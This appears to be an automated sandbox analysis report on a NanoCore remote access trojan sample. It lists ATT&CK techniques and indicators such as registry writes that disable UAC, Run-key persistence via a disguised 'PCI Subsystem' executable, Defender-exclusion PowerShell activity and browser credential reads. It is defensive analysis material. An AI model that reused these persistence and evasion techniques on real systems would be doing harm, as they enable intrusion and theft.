nanocore | hxxp://pixeldrain[.]com/u/SyA8hZRH

Analysis

max time kernel
77s
max time network
79s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
20-10-2024 16:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://pixeldrain.com/u/SyA8hZRH

Score

10^/10

nanocore discovery evasion execution keylogger persistence spyware stealer trojan

Malware Config

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

UAC bypass 3 TTPs 2 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5496	powershell.exe
2064	powershell.exe
2372	powershell.exe
4500	powershell.exe
5416	powershell.exe
5692	powershell.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	app.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\Control Panel\International\Geo\Nation	app.exe

Executes dropped EXE 10 IoCs

pid	Process
5468	Launcher.exe
5756	app.exe
5816	App2.exe
6132	Launcher.exe
2068	app.exe
5592	App2.exe
5956	python-installer.exe
3116	python-installer.exe
3316	python-installer.exe
216	python-installer.exe

Loads dropped DLL 4 IoCs

pid	Process
5756	app.exe
2068	app.exe
3116	python-installer.exe
216	python-installer.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\\python-3.12.6-amd64.exe\" /burn.runonce"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\app = "C:\\ProgramData\\Update.vbs"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\\python-3.12.6-amd64.exe\" /burn.runonce"	python-installer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\PCI Subsystem = "C:\\Program Files (x86)\\PCI Subsystem\\pciss.exe"	App2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\app = "C:\\ProgramData\\Update.vbs"	reg.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
69	1172	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	App2.exe

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 4 IoCs

pid	Process
6096	cmd.exe
4836	cmd.exe
4912	cmd.exe
3236	cmd.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\zIU5HFycTy.txt	app.exe
File opened for modification	C:\Windows\System32\zIU5HFycTy.txt	app.exe
File created	C:\Windows\System32\0roWnKw6Mz.txt	app.exe
File opened for modification	C:\Windows\System32\0roWnKw6Mz.txt	app.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
5976	tasklist.exe
4624	tasklist.exe
1948	tasklist.exe
5116	tasklist.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\PCI Subsystem\pciss.exe	App2.exe
File opened for modification	C:\Program Files (x86)\PCI Subsystem\pciss.exe	App2.exe

Drops file in Windows directory 28 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e5883d1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\e5883d5.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{537B2AF5-504B-4303-99CB-FDE56F47AA51}	msiexec.exe
File created	C:\Windows\Installer\e5883da.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI97C9.tmp	msiexec.exe
File created	C:\Windows\Installer\e5883e3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8671.tmp	msiexec.exe
File created	C:\Windows\Installer\e5883db.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8EDF.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9F9A.tmp	msiexec.exe
File created	C:\Windows\Installer\e5883e8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5883e8.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{901B913C-FA63-48D2-9842-7D7676739378}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8895.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{1DAEF824-881A-49C6-B91E-1D28877FF18D}	msiexec.exe
File opened for modification	C:\Windows\Installer\e5883db.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{08A1963D-07D1-4620-929C-385F6A307772}	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e5883e7.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5883d6.msi	msiexec.exe
File created	C:\Windows\Installer\e5883df.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5883e3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC3CD.tmp	msiexec.exe
File created	C:\Windows\Installer\e5883d1.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5883d6.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}	msiexec.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	App2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	App2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
6048	taskkill.exe

Modifies registry class 60 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{08A1963D-07D1-4620-929C-385F6A307772}\DisplayName = "Python 3.12.6 Tcl/Tk Support (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\ = "{537B2AF5-504B-4303-99CB-FDE56F47AA51}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\DisplayName = "Python 3.12.6 Development Libraries (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{08A1963D-07D1-4620-929C-385F6A307772}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\ = "{537B2AF5-504B-4303-99CB-FDE56F47AA51}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{08A1963D-07D1-4620-929C-385F6A307772}\ = "{08A1963D-07D1-4620-929C-385F6A307772}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\ = "{1DAEF824-881A-49C6-B91E-1D28877FF18D}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\ = "{1DAEF824-881A-49C6-B91E-1D28877FF18D}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\ = "{901B913C-FA63-48D2-9842-7D7676739378}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\ = "{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.6 (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\ = "{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\DisplayName = "Python 3.12.6 Standard Library (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\ = "{901B913C-FA63-48D2-9842-7D7676739378}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\DisplayName = "Python 3.12.6 Core Interpreter (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\DisplayName = "Python 3.12.6 Executables (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{08A1963D-07D1-4620-929C-385F6A307772}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Dependents	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\DisplayName = "Python 3.12.6 Executables (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\DisplayName = "Python 3.12.6 Core Interpreter (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{537B2AF5-504B-4303-99CB-FDE56F47AA51}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\DisplayName = "Python 3.12.6 Development Libraries (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{1DAEF824-881A-49C6-B91E-1D28877FF18D}\DisplayName = "Python 3.12.6 Standard Library (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.6 (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-2437139445-1151884604-3026847218-1000_Classes\Installer\Dependencies\{2F4E9933-7587-4D85-9BA1-F2903AFB36D8}\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
852	msedge.exe
852	msedge.exe
3756	msedge.exe
3756	msedge.exe
2364	identity_helper.exe
2364	identity_helper.exe
1260	msedge.exe
1260	msedge.exe
5312	7zFM.exe
5312	7zFM.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5416	powershell.exe
5416	powershell.exe
5416	powershell.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5232	powershell.exe
5232	powershell.exe
5232	powershell.exe
5380	powershell.exe
5380	powershell.exe
5380	powershell.exe
5496	powershell.exe
5496	powershell.exe
5496	powershell.exe
2064	powershell.exe
2064	powershell.exe
2064	powershell.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe
5816	App2.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
5312	7zFM.exe
5816	App2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	5312	7zFM.exe
Token: 35	5312	7zFM.exe
Token: SeSecurityPrivilege	5312	7zFM.exe
Token: SeDebugPrivilege	5816	App2.exe
Token: SeDebugPrivilege	5416	powershell.exe
Token: SeIncreaseQuotaPrivilege	5936	WMIC.exe
Token: SeSecurityPrivilege	5936	WMIC.exe
Token: SeTakeOwnershipPrivilege	5936	WMIC.exe
Token: SeLoadDriverPrivilege	5936	WMIC.exe
Token: SeSystemProfilePrivilege	5936	WMIC.exe
Token: SeSystemtimePrivilege	5936	WMIC.exe
Token: SeProfSingleProcessPrivilege	5936	WMIC.exe
Token: SeIncBasePriorityPrivilege	5936	WMIC.exe
Token: SeCreatePagefilePrivilege	5936	WMIC.exe
Token: SeBackupPrivilege	5936	WMIC.exe
Token: SeRestorePrivilege	5936	WMIC.exe
Token: SeShutdownPrivilege	5936	WMIC.exe
Token: SeDebugPrivilege	5936	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5936	WMIC.exe
Token: SeRemoteShutdownPrivilege	5936	WMIC.exe
Token: SeUndockPrivilege	5936	WMIC.exe
Token: SeManageVolumePrivilege	5936	WMIC.exe
Token: 33	5936	WMIC.exe
Token: 34	5936	WMIC.exe
Token: 35	5936	WMIC.exe
Token: 36	5936	WMIC.exe
Token: SeDebugPrivilege	5976	tasklist.exe
Token: SeIncreaseQuotaPrivilege	5936	WMIC.exe
Token: SeSecurityPrivilege	5936	WMIC.exe
Token: SeTakeOwnershipPrivilege	5936	WMIC.exe
Token: SeLoadDriverPrivilege	5936	WMIC.exe
Token: SeSystemProfilePrivilege	5936	WMIC.exe
Token: SeSystemtimePrivilege	5936	WMIC.exe
Token: SeProfSingleProcessPrivilege	5936	WMIC.exe
Token: SeIncBasePriorityPrivilege	5936	WMIC.exe
Token: SeCreatePagefilePrivilege	5936	WMIC.exe
Token: SeBackupPrivilege	5936	WMIC.exe
Token: SeRestorePrivilege	5936	WMIC.exe
Token: SeShutdownPrivilege	5936	WMIC.exe
Token: SeDebugPrivilege	5936	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5936	WMIC.exe
Token: SeRemoteShutdownPrivilege	5936	WMIC.exe
Token: SeUndockPrivilege	5936	WMIC.exe
Token: SeManageVolumePrivilege	5936	WMIC.exe
Token: 33	5936	WMIC.exe
Token: 34	5936	WMIC.exe
Token: 35	5936	WMIC.exe
Token: 36	5936	WMIC.exe
Token: SeDebugPrivilege	6048	taskkill.exe
Token: SeDebugPrivilege	4624	tasklist.exe
Token: SeDebugPrivilege	5232	powershell.exe
Token: SeDebugPrivilege	5380	powershell.exe
Token: SeIncreaseQuotaPrivilege	5436	WMIC.exe
Token: SeSecurityPrivilege	5436	WMIC.exe
Token: SeTakeOwnershipPrivilege	5436	WMIC.exe
Token: SeLoadDriverPrivilege	5436	WMIC.exe
Token: SeSystemProfilePrivilege	5436	WMIC.exe
Token: SeSystemtimePrivilege	5436	WMIC.exe
Token: SeProfSingleProcessPrivilege	5436	WMIC.exe
Token: SeIncBasePriorityPrivilege	5436	WMIC.exe
Token: SeCreatePagefilePrivilege	5436	WMIC.exe
Token: SeBackupPrivilege	5436	WMIC.exe
Token: SeRestorePrivilege	5436	WMIC.exe
Token: SeShutdownPrivilege	5436	WMIC.exe

Suspicious use of FindShellTrayWindow 50 IoCs

pid	Process
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
5312	7zFM.exe
5312	7zFM.exe
5312	7zFM.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
3756	msedge.exe
